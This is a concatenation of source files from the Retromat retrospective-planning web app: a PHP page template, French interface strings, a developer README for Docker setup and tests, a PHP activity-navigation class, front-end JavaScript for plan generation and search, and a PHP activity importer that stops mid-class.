<div class="inner">
<div class="ids-display">
<div class="print-header font-serif">
Retromat.org – by <NAME>
</div>
<?php if (is_output_format_twig($argv)) { ?>
{% include 'home/header/idDisplay.html.twig' %}
<?php } else { ?>
<?php echo($_lang['INDEX_PLAN_ID']); ?>
<form name="js_ids-display__form" class="ids-display__form" action="JavaScript:publish_plan($('.ids-display__input').val());">
<input type="text" size="18" name="js_display" class="ids-display__input" value="">
</form>
<?php } ?>
</div>
<div class="plan-header-inner-right">
<div class="plan-navi">
<ul>
<li>
<a class="plan-navi__random" title="<?php echo($_lang['INDEX_RANDOM_RETRO']); ?>" href="JavaScript:publish_random_plan()">
<?php echo($_lang['INDEX_RANDOM_RETRO']); ?>
</a>
</li>
<li>
<a class="plan-navi__search" title="<?php echo($_lang['INDEX_SEARCH_KEYWORD']); ?>" href="JavaScript:show_popup('search');">
<?php echo($_lang['INDEX_SEARCH_KEYWORD']); ?>
</a>
<div class="js_popup--search popup--search popup display_none">
<form action="JavaScript:publish_activities_for_keywords($('.js_popup--search__input').val())" name="js_search_form" class="search_form">
<input type="text" size="12" name="js_popup--search__input" class="js_popup--search__input popup__input" value="">
<input type="submit" class="popup__submit" value="<?php echo($_lang['POPUP_SEARCH_BUTTON']); ?>">
<a href="JavaScript:hide_popup('search');" class="popup__close-link"><?php echo($_lang['POPUP_CLOSE']); ?></a>
</form>
<div class="popup__info"><?php echo($_lang['POPUP_SEARCH_INFO']); ?> </div>
</div>
</li>
</ul>
</div>
</div>
</div>
</div>
</div>
<?php if (is_output_format_twig($argv)) { ?>
{% include 'home/titles/planTitle.html.twig' %}
<?php } else { ?>
<div class="js_plan_title_container plan-title display_none">
<div class="content">
<div class="inner">
<span class="js_fill_plan_title">Replaced by JS</span>
</div>
</div>
</div>
<?php } ?>
<?php if (is_output_format_twig($argv)) { ?>
{% include 'home/activities/activities.html.twig' %}
<?php } else { ?>
<div class="js_plan">
<div class="bg1">
<div class="content">
<div class="inner">
<?php echo($_lang['INDEX_LOADING']); ?>
<noscript>
<?php echo($_lang['ERROR_NO_SCRIPT']); ?>
</noscript>
</div>
</div>
</div>
</div><!-- END plan -->
<?php } ?>
<div class="js_activity_block_template js_activity_block display_none">
<div class="content">
<div class="activity">
<div class="js_phase-stepper phase-stepper js_prev_button">
<a href="javascript:" class="js_prev_button_href"
title="<?php echo($_lang['ACTIVITY_PREV']) ?>">◄
</a>
</div>
<div class="activity_content">
<div class="js_phase_title phase_title">
<a href="#" class="js_fill_phase_link">
<span class="js_fill_phase_title"></span>
</a>
</div>
<div class="js_item">
<h2 class="font-serif">
<span class="js_fill_name"></span>
<span class="activity_id_wrapper">
(<a class="js_fill_activity_link" href="#">#<span class="js_fill_id"></span></a>)
</span>
</h2>
<div class="summary">
<span class="js_fill_summary"></span>
<br>
<span class="source"><?php echo($_lang['ACTIVITY_SOURCE']) ?>
<span class="js_fill_source"></span>
</span>
</div>
<div class="description">
<span class="js_fill_description"></span>
</div>
</div><!-- END js_item -->
<div class="js_photo_link photo_link">
<span class="js_fill_photo-link"></span>
</div><!-- END .js_photo_link -->
</div>
<div class="js_phase-stepper phase-stepper js_next_button">
<a href="Javascript:" class="js_next_button_href"
title="<?php echo($_lang['ACTIVITY_NEXT']) ?>">►
</a>
</div>
</div>
</div>
</div>
<div class="about">
<div class="content font-serif">
<div class="inner">
<?php echo($_lang['INDEX_ABOUT']); ?>
</div>
</div>
</div>
<div class="team">
<div class="content">
<div class="inner">
<?php if (!$isEnglish) { ?>
<?php for($i=0; $i < count($_lang['INDEX_TEAM_TRANSLATOR_LINK']); $i++) { ?>
<div class="team-member">
<a href="<?php echo($_lang['INDEX_TEAM_TRANSLATOR_LINK'][$i]); ?>">
<img src="<?php echo($_lang['INDEX_TEAM_TRANSLATOR_IMAGE'][$i]); ?>" width="70" height="93" title="<?php echo($_lang['INDEX_TEAM_TRANSLATOR_NAME'][$i]); ?>" class="team-photo">
</a>
<h3>
<?php echo($_lang['INDEX_TEAM_TRANSLATOR_TITLE']); ?>
<a href="<?php echo($_lang['INDEX_TEAM_TRANSLATOR_LINK'][$i]); ?>">
<?php echo($_lang['INDEX_TEAM_TRANSLATOR_NAME'][$i]); ?>
</a>
</h3>
<div class="team-text">
<?php echo($_lang['INDEX_TEAM_TRANSLATOR_TEXT'][$i]); ?>
</div>
</div><!-- .team--translator -->
<?php } ?>
<?php } ?>
<div class="team-member">
<a href="https://www.corinnabaldauf.de/">
<img src="/static/images/team/corinna_baldauf.jpg" width="70" height="93" title="<NAME>" class="team-photo">
</a>
<h3>
<?php echo($_lang['INDEX_TEAM_CORINNA_TITLE']); ?>
<a href="https://www.corinnabaldauf.de/">
<NAME>
</a>
</h3>
<div class="team-text">
<?php echo($_lang['INDEX_TEAM_CORINNA_TEXT']); ?>
</div>
</div><!-- .team--corinna -->
<div class="team-member">
<a href="/en/team/timon">
<img src="/static/images/team/timon_fiddike.jpg" width="70" height="93" title="<NAME>" class="team-photo">
</a>
<h3>
<?php echo($_lang['INDEX_TEAM_TIMON_TITLE']); ?>
<a href="/en/team/timon">
<NAME>
</a>
</h3>
<div class="team-text">
<?php echo($_lang['INDEX_TEAM_TIMON_TEXT']); ?>
</div>
</div><!-- .team--timon-->
</div><!-- END .inner-->
</div>
</div>
<div class="footer">
<ul>
<li><a href="/blog/faq-frequently-asked-questions/">FAQ</a>
</li>
<li><a href="/blog/privacy-policy">Imprint & Privacy Policy</a></li>
</ul>
</div>
<!-- Matomo -->
<noscript><img src="//retromat.org/piwik/piwik.php?idsite=3&rec=1" style="border:0;" alt="" /></noscript>
<!-- End Matomo Code -->
</body>
</html>
<file_sep><?php
$_lang['HTML_TITLE'] = 'Inspiration & plans pour rétrospectives (agile)';
$_lang['INDEX_PITCH'] = 'Vous planifiez votre prochaine <b>rétrospective</b>? Commencez avec un plan aléatoire, adaptez le, imprimez le et partagez son URL. Ou naviguez simplement pour avoir de nouvelles idées !';
$_lang['INDEX_PLAN_ID'] = 'ID du plan :';
$_lang['INDEX_BUTTON_SHOW'] = 'Afficher !';
$_lang['INDEX_RANDOM_RETRO'] = 'Nouveau plan aléatoire de rétrospective';
$_lang['INDEX_SEARCH_KEYWORD'] = 'Cherchez des activités pour ID ou le mot-clé';
$_lang['INDEX_ALL_ACTIVITIES'] = 'Toutes les activités pour';
$_lang['INDEX_LOADING'] = '... LOADING ACTIVITIES ...';
$_lang['INDEX_NAVI_WHAT_IS_RETRO'] = '<a href="http://finding-marbles.com/retr-o-mat/what-is-a-retrospective/">What\'s a retrospective?</a>';
$_lang['INDEX_NAVI_ABOUT'] = '<a href="http://finding-marbles.com/retr-o-mat/about-retr-o-mat/">About Retromat</a>';
$_lang['INDEX_NAVI_PRINT'] = '<a href="/en/print">Print Edition</a>';
$_lang['INDEX_NAVI_ADD_ACTIVITY'] = '<a href="https://docs.google.com/a/finding-marbles.com/spreadsheet/viewform?formkey=<KEY>">Add activity</a>';
$_lang['INDEX_ABOUT'] = 'Retromat contient <span class="js_footer_no_of_activities"></span> activités, permettant <span class="js_footer_no_of_combinations"></span> combinaisons (<span class="js_footer_no_of_combinations_formula"></span>) et nous en ajoutons sans cesse plus.'; // Vous connaissez une activité géniale?
$_lang['INDEX_ABOUT_SUGGEST'] = 'Suggérez la ';
$_lang['INDEX_TEAM_TRANSLATOR_TITLE'] = 'Traduction: ';
$_lang['INDEX_TEAM_TRANSLATOR_NAME'][0] = '<NAME>';
$_lang['INDEX_TEAM_TRANSLATOR_LINK'][0] = 'http://www.occitech.fr/';
$_lang['INDEX_TEAM_TRANSLATOR_IMAGE'][0] = '/static/images/team/pierre_martin.jpg';
$_lang['INDEX_TEAM_TRANSLATOR_TEXT'][0] = <<<EOT
Lead developer et co-gérant d'<a href="http://www.occitech.fr/">Occitech</a>.<br>
Gazouille aussi sur <a href="https://twitter.com/pierremartin">Twitter</a>!
<br><br><br>
EOT;
$_lang['INDEX_TEAM_TRANSLATOR_NAME'][1] = '<NAME>';
$_lang['INDEX_TEAM_TRANSLATOR_LINK'][1] = 'http://juliendubois.fr/';
$_lang['INDEX_TEAM_TRANSLATOR_IMAGE'][1] = '/static/images/team/julien_dubois.jpg';
$_lang['INDEX_TEAM_TRANSLATOR_TEXT'][1] = <<<EOT
Co-fondateur d'<a href="http://happyculture.coop/">Happyculture</a>, Julien est un lead développeur agile passionné par les gens.
Curieux? Direction twitter: <a href="https://twitter.com/Artusamak">@Artusamak</a>.
<br><br>
Merci aussi à <a href="http://frank.taillandier.me/"><NAME></a>!
EOT;
$_lang['INDEX_TEAM_CORINNA_TITLE'] = 'Version originale: ';
$_lang['INDEX_TEAM_CORINNA_TEXT'] = $_lang['INDEX_MINI_TEAM'] = <<<EOT
Corinna souhaitait quelque chose comme Retromat pendant ses années de Scrummaster.
Finalement elle le construit elle même dans l'espoir que cela serait utile à d'autres également.
Des questions, suggestions ou encouragements ?
Vous pouvez lui écrire à <a href="mailto:<EMAIL>">un e-mail</a> ou
<a href="https://twitter.com/corinnabaldauf">la contacter sur Twitter</a>.
EOT;
$_lang['INDEX_TEAM_TIMON_TITLE'] = 'Co-développé par ';
$_lang['INDEX_TEAM_TIMON_TEXT'] = <<<EOT
En tant que développeur, product owner, scrum master et <a href="/en/team/timon">coach agile</a>, Timon a été un utilisateur et fan de Retromat depuis plus de trois ans. Il a eu quelques idées de fonctionnalités. En 2016 il a commencé à construire quelques unes de ces fonctionnalités lui même. Vous pouvez <a href="mailto:<EMAIL>">lui envoyer un email</a> ou
<a href="https://twitter.com/TimonFiddike">le suivre sur Twitter</a>.
EOT;
$_lang['PRINT_HEADER'] = '(retromat.org)';
$_lang['ACTIVITY_SOURCE'] = 'Source :';
$_lang['ACTIVITY_PREV'] = 'Afficher une autre activité pour cette phase';
$_lang['ACTIVITY_NEXT'] = 'Afficher une autre activité pour cette phase';
$_lang['ACTIVITY_PHOTO_ADD'] = 'Ajouter une Photo';
$_lang['ACTIVITY_PHOTO_MAIL_SUBJECT'] = 'Photos%20for%20Activity%3A%20ID';
$_lang['ACTIVITY_PHOTO_MAIL_BODY'] = 'Hi%20Corinna%21%0D%0A%0D%0A[%20]%20Photo%20is%20attached%0D%0A[%20]%20Photo%20is%20online%20at%3A%20%0D%0A%0D%0ABest%2C%0D%0AYour%20Name';
$_lang['ACTIVITY_PHOTO_VIEW_PHOTO'] = 'Voir la photo';
$_lang['ACTIVITY_PHOTO_VIEW_PHOTOS'] = 'Voir les photos';
$_lang['ACTIVITY_PHOTO_BY'] = 'Photo par ';
$_lang['ERROR_NO_SCRIPT'] = 'Retromat est principalement basé sur JavaScript et ne fonctionne pas sans. Veuillez donc activer JavaScript dans votre navigateur. Merci !';
$_lang['ERROR_MISSING_ACTIVITY'] = 'Désolé, impossible de trouver une activité avec l\'ID';
$_lang['POPUP_CLOSE'] = 'Fermer';
$_lang['POPUP_IDS_BUTTON'] = 'Afficher !';
$_lang['POPUP_IDS_INFO']= 'ID d\'exemple : 3-33-20-13-45';
$_lang['POPUP_SEARCH_BUTTON'] = 'Chercher';
$_lang['POPUP_SEARCH_INFO']= 'Rechercher dans les titres, résumés et descriptions';
$_lang['POPUP_SEARCH_NO_RESULTS'] = 'Désolé, rien de trouvé pour';<file_sep>[](https://travis-ci.org/findingmarbles/Retromat)
* Clone git repo
```
git clone git clone https://github.com/findingmarbles/Retromat.git
```
# Docker Compose
Start session:
```
cd Retromat
docker-compose up -d
```
End session:
```
docker-compose stop
```
# Prepare Database
Obtain the value of MYSQL_ROOT_PASSWORD from
```
/docker-compose.yml
```
to login as root.
In the Docker App, click "Open in Browser" on the PHPMyAdmin container or directly go to:
http://localhost:8181/
Now you can e.g. obtain a DB dump from the live system ...
```
[<EMAIL> ~]$ /usr/bin/mysqldump --defaults-file=/home/retro2/.my.cnf retro2_retromat > retro2_retromat.sql
```
... and import it via PHPMyAdmin:
Locally you need to use the same DB name as specified in
.env or .env local, at this point the author prefers to create (and import into)
retromat-local-prod to keep it separate from the local DB used for testing.
In the Docker App, click CLI on the mariadb container for command live access to the database.
# Install
In the Docker App, click CLI on the retromat-app-php-fpm-1
```
cd backend
composer install
```
(if that fails:
https://github.com/symfony/flex/issues/836
https://github.com/symfony/flex/issues/890
```
composer selfupdate
composer update symfony/flex --no-plugins --no-scripts
```
)
Add .env.local to set mysql root PW .
```
php backend/bin/console doctrine:migrations:migrate --no-interaction
php backend/bin/console doctrine:cache:clear-result
php backend/bin/console doctrine:cache:clear-query
php backend/bin/console doctrine:cache:clear-metadata
```
# Run Tests
Initially:
Create .env.test.local (e.g. by copying .env.local) with a different DB name.
At this point the author prefers to create retromat-local-test
On code change:
```
php backend/bin/console --env=test doctrine:database:drop --force
php backend/bin/console --env=test doctrine:database:create
php backend/bin/console --env=test doctrine:migrations:migrate --no-interaction
```
Each time:
```
php backend/bin/console --env=test cache:clear
php -d memory_limit=1000M backend/vendor/bin/phpunit -c backend
```
Known issues at this point:
All test are green on Travis-CI.
BUT:
These two fail in Docker:
App\Tests\Repository\ActivityRepositoryTest::testFindAllActivitiesForPhases
App\Tests\Repository\ActivityRepositoryTest::testFindAllActivitiesForPhasesDe
# Access App via Browser
In the Docker App, click "Open in Browser" on the retromat-httpd container or directly go to:
http://localhost:8080/
<file_sep><?php
declare(strict_types=1);
namespace App\Model\Activity;
use Doctrine\ORM\EntityManagerInterface;
class ActivityByPhase
{
private $activityByPhase;
/**
* @var EntityManagerInterface
*/
private EntityManagerInterface $entityManager;
public function __construct(EntityManagerInterface $entityManager)
{
$this->entityManager = $entityManager;
}
public function getAllActivitiesByPhase()
{
$this->lazyInit();
return $this->activityByPhase;
}
public function getActivitiesString($phase)
{
$this->lazyInit();
return \implode('-', $this->activityByPhase[$phase]);
}
public function nextActivityIdInPhase($phase, $id)
{
$this->lazyInit();
$idKey = \array_search($id, $this->activityByPhase[$phase]);
// if we are on the last activity of the phase, the next one is the first
if ($idKey == \count($this->activityByPhase[$phase]) - 1) {
return $this->activityByPhase[$phase][0];
}
return $this->activityByPhase[$phase][$idKey + 1];
}
public function previousActivityIdInPhase($phase, $id)
{
$this->lazyInit();
$idKey = \array_search($id, $this->activityByPhase[$phase]);
// if we are on the first activity of the phase, the previous one is the last
if (0 == $idKey) {
return $this->activityByPhase[$phase][\count($this->activityByPhase[$phase]) - 1];
}
return $this->activityByPhase[$phase][$idKey - 1];
}
public function nextIds(array $ids, $id, $phase)
{
$idKey = \array_search($id, $ids);
$ids[$idKey] = $this->nextActivityIdInPhase($phase, $id);
return $ids;
}
public function previousIds(array $ids, $id, $phase)
{
$idKey = \array_search($id, $ids);
$ids[$idKey] = $this->previousActivityIdInPhase($phase, $id);
return $ids;
}
/**
* http://www.martinfowler.com/bliki/LazyInitialization.html
*/
private function lazyInit()
{
if (!isset($this->activityByPhase)) {
$this->activityByPhase = $this->entityManager->getRepository(
'App:Activity'
)->findAllActivitiesByPhases();
}
}
}
<file_sep>last_block_bg = -1; // Stores bg of last block so that no consecutive blocks have the same background
function init() {
var urlParams = getUrlVars();
var plan_id = urlParams.id;
var phase = urlParams.phase;
if (typeof all_activities === "undefined") {
$.getJSON("/api/activities", {locale: getLocale()})
.fail(function (jqxhr, textStatus, error) {
console.log("Loading activities via AJAX request failed: " + textStatus + ", " + jqxhr.status + ", " + error);
})
.done(function (json) {
all_activities = json;
if (plan_id) {
publish_plan(plan_id, phase);
} else {
publish_random_plan();
}
publish_footer_stats();
});
} else {
if (plan_id) {
publish_plan(plan_id, phase);
} else {
publish_random_plan();
}
publish_footer_stats();
}
}
function getLocale() {
return window.location.pathname.split('/')[1];
}
// From http://jquery-howto.blogspot.de/2009/09/get-url-parameters-values-with-jquery.html
// Read a page's GET URL variables and return them as an associative array
function getUrlVars() {
var vars = [], hash;
var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&');
for (var i = 0; i < hashes.length; i++) {
hash = hashes[i].split('=');
vars.push(hash[0]);
vars[hash[0]] = hash[1];
}
return vars;
}
function sanitize_plan_id(plan_id) {
return String(plan_id.match(/[0-9-]+/)); // Ignore everything that's not a digit or '-'
}
function empty_plan() {
$('.js_plan').html("");
}
function publish_activity_blocks(plan_id) {
var ids = String(plan_id).split("-");
var activity_block;
for (var i = 0; i < ids.length; i++) {
if (ids[i] != '') { // ignore incorrect single '-' at beginning or end of plan_id
activity_block = get_activity_block(parseInt(ids[i]) - 1, i);
activity_block.appendTo($('.js_plan'));
}
}
}
/* Param: Index of activity
* Returns: Object containing "activity_block"-div
*/
function get_activity_block(activity_index) {
var activity_block = $('.js_activity_block_template').clone()
activity_block.removeClass('js_activity_block_template');
activity_block.addClass('bg' + get_contrasting_bg());
populate_activity_block(activity_index, activity_block);
activity_block.removeClass('display_none');
return activity_block;
}
function get_contrasting_bg() {
var bg;
do {
bg = get_random_integer(5);
} while (last_block_bg == bg);
last_block_bg = bg;
return bg;
}
// Input: int - lowest integer that shall NOT be returned
// Returns: Random number between 0 and (upper_limit-1)
function get_random_integer(upper_limit) {
return Math.floor(Math.random() * upper_limit);
}
function populate_activity_block(activity_index, activity_block) {
var activity = get_activity_array(activity_index);
var id = convert_index_to_id(activity_index);
$(activity_block).addClass('js_activity' + activity_index);
$(activity_block).find('.js_fill_phase_title').html(phase_titles[activity.phase]);
$(activity_block).find('.js_fill_phase_link').prop('href', '?id=' + get_activities_in_phase_as_plan_id(activity.phase) + '&phase=' + activity.phase);
$(activity_block).find('.js_fill_name').html(activity.name);
$(activity_block).find('.js_fill_activity_link').prop('href', '?id=' + id);
$(activity_block).find('.js_fill_id').html(id);
$(activity_block).find('.js_fill_summary').html(activity.summary);
$(activity_block).find('.js_fill_source').html(activity.source);
$(activity_block).find('.js_fill_description').html(activity.desc);
$(activity_block).find('.js_fill_photo-link').html(get_photo_string(activity_index));
}
function convert_index_to_id(index) {
return parseInt(index) + 1;
}
/************ BEGIN Phase Navigation (Prev, Next, All activities in Phase) ************/
function enable_phase_browsing() {
enable_prev();
enable_next();
}
function enable_prev() {
$('.js_prev_button').click(function () {
var activity_index = convert_id_to_index(read_activity_id($(this).parent().parent()));
enable_phase_stepper(activity_index, get_index_of_prev_activity_in_phase);
prefix_html_title();
});
}
function convert_id_to_index(id) {
return parseInt(id) - 1;
}
function read_activity_id(div_js_item_jquery_object) {
return $(div_js_item_jquery_object.html()).find('.js_fill_id').text();
}
function get_index_of_prev_activity_in_phase(activity_index, phase_index) {
var found_index = -1;
var candidate;
for (var i = activity_index - 1; i >= 0; i--) {
candidate = get_activity_array(i);
if (candidate.phase == phase_index) {
found_index = i;
break;
}
}
if (found_index == -1) { // Not found in rest of array -> Continue at beginning
for (var i = all_activities.length - 1; i >= activity_index; i--) {
candidate = get_activity_array(i);
if (candidate.phase == phase_index) {
found_index = i;
break;
}
}
}
return found_index;
}
function enable_phase_stepper(activity_index, get_neighbor_function) {
var phase_index = get_phase_from_activity_index(activity_index);
var next = get_neighbor_function(activity_index, phase_index);
var old_identifier = '.js_activity' + activity_index;
var activity_block = $(old_identifier);
populate_activity_block(next, activity_block);
activity_block.removeClass(old_identifier);
publish_plan_id(format_plan_id());
}
function get_phase_from_activity_index(activity_index) {
return get_activity_array(activity_index).phase;
}
// Returns string (e.g. 'd-d-d') of activity_ids of shown activities
function format_plan_id() {
var current_activities = get_ids_of_current_activities();
var id = '';
var activity;
for (var i = 0; i < current_activities.length; i++) {
if (i != 0) {
id += "-";
}
activity = current_activities[i];
id += $(activity).text();
}
return id;
}
function get_ids_of_current_activities() {
return $('.js_plan').find('.js_fill_id');
}
function enable_next() {
$('.js_next_button').click(function () {
var activity_index = convert_id_to_index(read_activity_id($(this).parent().parent()));
enable_phase_stepper(activity_index, get_index_of_next_activity_in_phase);
prefix_html_title();
});
}
function get_index_of_next_activity_in_phase(activity_index, phase_index) {
var found_index = -1;
var candidate;
for (var i = activity_index + 1; i < all_activities.length; i++) {
candidate = get_activity_array(i);
if (candidate.phase == phase_index) {
found_index = i;
break;
}
}
if (found_index == -1) { // Not found in rest of array -> Continue at beginning
for (var i = 0; i < activity_index; i++) {
candidate = get_activity_array(i);
if (candidate.phase == phase_index) {
found_index = i;
break;
}
}
}
return found_index;
}
/************ END Phase Navigation (Prev, Next, All activities in Phase) ************/
/* Returns: String of all activities in this phase formatted as plan id
*/
function get_activities_in_phase_as_plan_id(phase_index) {
// TODO Fehlerbehandlung - Phase nicht gefunden oder leer
var res = '';
var phase_activities = get_indexes_of_activities_in_phase(phase_index);
for (var i = 0; i < phase_activities.length; i++) {
if (i != 0) {
res += '-';
}
res += convert_index_to_id(phase_activities[i]);
}
return res;
}
function publish_plan_title(title) {
$('.js_fill_plan_title').html(title);
show_plan_title();
}
function show_plan_title() {
$('.js_plan_title_container').removeClass('display_none');
}
function hide_phase_stepper() {
$('.js_phase-stepper').addClass('hidden');
}
function show_phase_stepper() {
$('.js_phase-stepper').removeClass('hidden');
}
function hide_plan_title() {
$('.js_plan_title_container').addClass('display_none');
}
function prefix_html_title() {
if (0 != document.title.indexOf('Retromat')) {
document.title = 'Retromat: ' + document.title;
}
}
function publish_plan_id(plan_id) {
// On page
var form = document.forms['js_ids-display__form'];
form.elements['js_display'].value = plan_id;
// URL
var param = '?id=' + plan_id;
// history.push doesn't work in IEs < v10 and seems to break IE9 and IE8 works but throws errors - so suppress it for >=IE9
if (!is_ie) {
history.pushState(param, plan_id, param); // pushState(state object, a title (ignored), URL)
}
}
function publish_random_plan() {
var plan_id = '';
if (is_time_for_something_different()) {
plan_id += pick_random_activity_id_in_phase(PHASE_SOMETHING_DIFFERENT);
} else {
plan_id += generate_random_regular_plan_id();
}
publish_plan(plan_id);
}
/* Returns: Boolean
*/
function is_time_for_something_different() {
res = false;
if (get_random_integer(INVERTED_CHANCE_OF_SOMETHING_DIFFERENT) == 0) {
res = true;
}
return res;
}
function pick_random_activity_id_in_phase(phase_index) {
return convert_index_to_id(pick_random_activity_index_in_phase(phase_index));
}
// Input: int phase_id
// Returns: int activity_index - randomly chosen activity from given phase
function pick_random_activity_index_in_phase(phase_index) {
var indexes = get_indexes_of_activities_in_phase(phase_index);
return indexes[get_random_integer(indexes.length)];
}
function get_indexes_of_activities_in_phase(phase_index) {
var activities = new Array();
var tmp_activity;
for (var i = 0; i < all_activities.length; i++) {
candidate_activity = get_activity_array(i);
if (candidate_activity.phase == phase_index) {
activities.push(i);
}
}
return activities;
}
/* Returns: String, example: 14-3-77-34-22
* Digits are IDs of activities from the 5 different phases
*/
function generate_random_regular_plan_id() {
var plan_id = '';
for (var i = 0; i < NUMBER_OF_REGULAR_PHASES; i++) {
if (i != 0) {
plan_id += '-';
}
plan_id += pick_random_activity_id_in_phase(i);
}
return plan_id;
}
/************ BEGIN Footer Functions ************/
function get_number_of_activities_in_phase(phase_index) {
var activities = get_indexes_of_activities_in_phase(phase_index);
return activities.length;
}
function get_number_of_combinations() {
var res = 1;
for (var i = 0; i < NUMBER_OF_REGULAR_PHASES; i++) {
res *= get_number_of_activities_in_phase(i);
}
res += get_number_of_activities_in_phase(PHASE_SOMETHING_DIFFERENT);
return res;
}
function get_combinations_string() {
var res = '';
for (var i = 0; i < NUMBER_OF_REGULAR_PHASES; i++) {
if (i != 0) {
res += "x";
}
res += get_number_of_activities_in_phase(i);
}
res += '+' + get_number_of_activities_in_phase(PHASE_SOMETHING_DIFFERENT);
return res;
}
function publish_footer_stats() {
$(".js_footer_no_of_activities").html(create_link_to_all_activities(all_activities.length));
$(".js_footer_no_of_combinations").html(get_number_of_combinations());
$(".js_footer_no_of_combinations_formula").html(get_combinations_string());
}
/************ END Footer Functions ************/
/************ BEGIN PopUps Plan Navigation (Search) ************/
function get_input_field(popup_name) {
var form = document.forms['js_' + popup_name + '_form'];
var element_name = 'js_popup--' + popup_name + '__input';
return form.elements[element_name];
}
function reset_input_field(input_field) {
input_field.value = "";
}
function focus_input_field(input_field) {
input_field.focus();
}
function show_popup(popup_name) {
$('.js_popup--' + popup_name).removeClass('display_none');
var input = get_input_field(popup_name);
reset_input_field(input);
focus_input_field(input);
}
function hide_popup(popup_name) {
$('.js_popup--' + popup_name).addClass('display_none');
}
/* Returns: String
* Success: Ids of activities containing $keyword in name, summary or description
* Failure: Nothing found -> Empty string
*/
function search_activities_for_keyword(keyword) {
var plan_id = '';
var isMatch = false;
for (var i = 0; i < all_activities.length; i++) {
isMatch = has_found_match(all_activities[i], keyword);
if (isMatch) {
plan_id += convert_index_to_id(i) + '-';
}
}
if (plan_id.length > 0) {
plan_id = plan_id.substr(0, plan_id.length - 1)
}
return plan_id; // Remove trailing '-'
}
function has_found_match(activity, keyword) {
var regEx = new RegExp(keyword, "i");
var isMatch = false;
var haystack = activity.name;
if (haystack.search(regEx) != -1) {
isMatch = true;
} else {
haystack = activity.summary;
if (haystack.search(regEx) != -1) {
isMatch = true;
} else {
haystack = activity.desc;
if (haystack.search(regEx) != -1) {
isMatch = true;
}
}
}
return isMatch;
}
function find_ids_in_keyword(keyword) {
var res = sanitize_plan_id(keyword);
if (res == "null") {
res = '';
} else {
res = '-' + res;
}
return res;
}
/************ END PopUps Plan Navigation ************/
function switchLanguage(new_lang) {
new_url = location.protocol + '//' + location.host + '/' + new_lang + '/';
window.open(new_url, "_self");
}
<file_sep><?php
declare(strict_types=1);
namespace App\Model\Importer\Activity;
final class ActivityReader
{
private $activities;
private $activityFileNames = [];
private $currentLocale;
public function __construct(string $fileName = null, array $activityFileNames = null, $defaultLocale = 'en')
{
if ($activityFileNames) {
$this->activityFileNames = $activityFileNames;
$this->currentLocale = $defaultLocale;
$fileName = $this->activityFileNames[$this->currentLocale];
}
$this->readActivities($fileName);
}
/**
* @return array
*/
public function extractAllActivities(): array
{
$activities = [];
for ($i = 1; $i <= $this->highestRetromatId(); ++$i) {
$activities[$i] = $this->extractActivity($i);
}
return $activities;
}
public function highestRetromatId()
{
$key = 'all_activities[';
$keyPosition = \strrpos($this->activities, "\n".$key) + 1;
$start = $keyPosition + \strlen($key);
$end = \strpos($this->activities, ']', $start);
// $retromatId is the public ID as in https://retromat.org/?id=123
// $jsArrayId is the interal ID as in lang/activities_en.php all_activities[122]
$highestJsArrayId = \intval(\trim(\substr($this->activities, $start, $end - $start)));
$highestRetromatId = $highestJsArrayId + 1;
return $highestRetromatId;
}
public function extractActivity($retromatId)
{
$activityBlock = $this->extractActivityBlock($retromatId);
$activity = [
'retromatId' => $retromatId,
'phase' => $this->extractActivityPhase($activityBlock),
'name' => $this->extractActivityName($activityBlock),
'summary' => $this->extractActivitySummary($activityBlock),
'desc' => $this->extractActivityDescription($activityBlock),
'source' => $this->extractActivitySource($activityBlock),
'more' => $this->extractActivityMore($activityBlock),
'duration' => $this->extractActivityDuration($activityBlock),
'stage' => $this->extractActivityStage($activityBlock),
'suitable' => $this->extractActivitySuitable($activityBlock),
];
return $activity;
}
private function extractActivityBlock($retromatId)
{
// $retromatId is the public ID as in https://retromat.org/?id=123
// $jsArrayId is the interal ID as in lang/activities_en.php all_activities[122]
$jsArrayId = $retromatId - 1;
$startMarker = "{\n";
$endMarker = "\n};";
$blockStart = \strpos($this->activities, 'all_activities['.$jsArrayId.']');
$start = \strpos($this->activities, $startMarker, $blockStart) + \strlen($startMarker);
$end = \strpos($this->activities, $endMarker, $start);
return \substr($this->activities, $start, $end - $start);
}
public function extractActivityName($activityBlock)
{
return $this->extractStringValue($activityBlock, $key = 'name:');
}
public function extractActivitySummary($activityBlock)
{
return $this->extractStringValue($activityBlock, $key = 'summary:');
}
public function extractActivityDescription($activityBlock)
{
$description = $this->extractStringValue($activityBlock, $key = 'desc:');
if (empty($description)) {
return null;
} else {
return \str_replace(["<a href='", "'>", "\\\n"], ['<a href="', '">', ''], $description);
}
}
public function extractActivityDuration($activityBlock)
{
return $this->extractStringValue($activityBlock, $key = 'duration:');
}
public function extractActivityMore($activityBlock)
{
return $this->extractStringValue($activityBlock, $key = 'more:');
}
public function extractActivitySuitable($activityBlock)
{
return $this->extractStringValue($activityBlock, $key = 'suitable:');
}
public function extractActivityStage($activityBlock)
{
return $this->extractStringValue($activityBlock, $key = 'stage:');
}
public function extractActivityPhase($activityBlock)
{
$key = 'phase:';
if (0 === \strpos($activityBlock, $key)) {
$start = \strlen($key);
$end = \strpos($activityBlock, ',', $start);
return \intval(\trim(\substr($activityBlock, $start, $end - $start)));
} else {
return null;
}
}
public function extractActivitySource($activityBlock)
{
$key = 'source:';
$keyPosition = \strpos($activityBlock, "\n".$key) + 1;
$offset = $keyPosition + \strlen($key);
if ((false !== $keyPosition) and ($offset < \strlen($activityBlock))) {
$endOfLine = \strpos($activityBlock, "\n", $keyPosition);
if (false === $endOfLine) {
$endOfLine = \strlen($activityBlock);
}
// identify the first non-whitespace after the key "source: "
for ($start = $offset; $start <= $endOfLine; ++$start) {
if (!\ctype_space($activityBlock[$start])) {
break;
}
}
// if 'source:' is the last acitvity in the block, there's sometimes no comma
if (',' == $activityBlock[$endOfLine - 1]) {
$end = $endOfLine - 1;
} else {
$end = $endOfLine;
}
return \substr($activityBlock, $start, $end - $start);
}
return null;
}
/**
* @param $activityBlock
* @param $key
*
* @return string
*/
private function extractStringValue($activityBlock, $key)
{
$keyPosition = \strpos($activityBlock, "\n".$key);
$offset = $keyPosition + 1 + \strlen($key); // +1 to compensate for linebreak ("\n") that was prepended
if ((false !== $keyPosition) and ($offset < \strlen($activityBlock))) {
$start = \strpos($activityBlock, '"', $offset) + \strlen('"');
$end = \strpos($activityBlock, '"', $start);
return \substr($activityBlock, $start, $end - $start);
}
return null;
}
private function readActivities(string $fileName): void
{
$this->activities = \file_get_contents($fileName);
}
public function setCurrentLocale(string $currentLocale): ActivityReader
{
$this->currentLocale = $currentLocale;
$this->readActivities($this->activityFileNames[$this->currentLocale]);
return $this;
